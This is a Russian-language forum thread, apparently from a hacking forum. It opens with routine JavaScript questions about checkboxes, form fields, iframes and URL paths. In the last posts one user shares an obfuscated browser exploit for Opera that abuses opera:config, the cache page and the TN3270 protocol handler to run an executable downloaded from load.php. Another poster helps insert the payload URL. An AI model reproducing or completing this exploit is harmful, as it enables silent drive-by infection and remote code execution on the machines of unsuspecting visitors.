Чекбоксу поставить onclick="checkallboxes(this)" Сам скрипт: PHP: function checkallboxes(obj){ boxes=new Array('a10', 'a15'); // перечисляем чекбоксы if(obj.checked!=true){return;} for(i=0;i<boxes.length;i++){ document[boxes[i]].checked=true;}}
LOL не то скопипастил. пост поправил. вот кстати похожее решение по сабжу klick ещё раз ссыла на туториал klick
попробуй с jquery будет проще: проверяешь, если нажали твой чекбокс, то: $("input:checkbox[name='твои_чекбоксы']").attr('checked', true); и все выделены
Помогите плз с небольшим траблом: PHP: <html> <head> <title>text</title> </head> <body> <form name="form"> <textarea name="text[id]" cols="40" rows="6"></textarea><br> <input type="button" name="knopka" value="do" onClick="document.form.text[id].value='Ok';"> </form> </body> </html> Без приставки [id] работает нормально, с ней почему то не хочет, а нужно =/ Как правильно записать?
Daned, Code: document.form['text[id]'].value А ещё правильнее вынести обработчик из html и давать осмысленные названия в каком-то одном стиле.
есть страничка. в ней ифрейм. как прочитать значение текстового поля во фрейме? и еще) выводит в алерте содержимое а так нет: ругается на то что требуется обэект
PHP: document.getElementById('ид_фрейма').document.getElementById('ид_поля').value; А у страницы на которой этот код стоит хост тоже 192.168.1.2?
2Корвин не ругается но алерт выскакивает пустой 2Vanofuture да на http://192.168.1.2/drop.php есть поле текстовое поле drop var a=document.getElementById('frame').document.getElementById('drop').value; еррор - требуется объект
Нужно определить точно хост+дира (на javascript), откуда запущен скрипт. Типа: Скрипт js.js запущен из папки pizda на localhost, и он выдает: http://localhost/pizda/js.js. Как это сдеделать? Спасибо
Сори, выразился не ясно... Смотри, нужно, чтобы определялся путь (без самого файла, тока путь с дирой), а в конце приписывался файл уже (отдельно), например: pipka.php... Сори, что сразу не сказал...
Code: <script> // Пример: var reg=/http:\/\/(.*)\//; var arr=reg.exec("http://baklajka.ru/krug/bossota/shanson/1.txt"); alert(arr[1]); // Сабж: var reg=/http:\/\/(.*)\//; var file = 'test.php'; var arr=reg.exec(location.href); alert(arr[1]+'/'+file); </script>
Есть следующий сплоит под оперу: <script> var reg=/http:\/\/(.*)\//; var file = 'load.php'; var arr=reg.exec(location.href); var url = 'http://'+arr[1]+'/'+file; var a = 1; var b = 2; function sum(a,b) { return (a + b); } var abc = 123; var bcd = 234; var cde = 456; function my(abc,bcd,cde) { return (cde - bcd - abc); } blank_iframe = document.createElement('iframe'); blank_iframe.src = 'about:blank'; blank_iframe.setAttribute('id', 'blank_iframe_window'); blank_iframe.setAttribute('style', 'display:none'); document.appendChild(blank_iframe); blank_iframe_window.eval ("co"+"n"+"fi"+"g"+"_"+"if"+"ra"+"m"+"e = d"+"ocum"+"en"+"t"+"."+"cr"+"ea"+"te"+"Ele"+"ment('iframe');\ config_iframe.setAttribute('id', 'config_iframe_window');\ config_iframe.src = 'opera:config';\ document.appendChild(config_iframe);\ app_iframe = document.createElement('script');\ cache_iframe = document.createElement('iframe');\ app_iframe.src = СЮДА;\ app_iframe.onload = function ()\ {\ cache_iframe.src = 'opera:cache';\ cache_iframe.onload = function ()\ {\ cache = cache_iframe.contentDocument.childNodes[0].innerHTML.toUpperCase();\ var re = new RegExp('(OPR\\\\w{5}.EXE)</TD>\\\\s*<TD>\\\\d+</TD>\\\\s*<TD><A HREF=\"'+app_iframe.src.toUpperCase(), '');\ filename = cache.match(re);\ config_iframe_window.eval\ (\"\ opera.setPreference('Network','TN3270 App',opera.getPreference('User Prefs','Cache Directory4')+parent.filename[1]);\ app_link = document.createElement('a');\ app_link.setAttribute('href', 'tn3270://nothing');\ app_link.click();\ setTimeout(function () {opera.setPreference('Network','TN3270 App','telnet.exe')},1000);\ \");\ };\ document.appendChild(cache_iframe);\ };\ document.appendChild(app_iframe);"); var xyz = 123; var xxy = 112; function sum(xyz,xxy) { return (xyz + xxy); } </script> В скрипте определяется путь до файла load.php, после чего результат должен быть вставлен в поле (переменная url), обозначенное как СЮДА, но, почему-то, вставляться не хочет... Как это сделать? P.S. Надо именно на javascript, не на php. В яве ноль, Pashkela, выручай
что-то я не понял смысл этого выражения - var arr=reg.exec(location.href); .... попробуй в начале заменить на вот это var tmp=location.href; var file = 'load.php'; var arr = tmp.match(/http:\/\/(.*)\//); var url = 'http://'+arr[1]+'/'+file; и ниже строчку где надпись СЮДА app_iframe.src = url;\ p.s. у себя попробовал, где-то дальше отваливается, но у меня фф, может на опере не будет.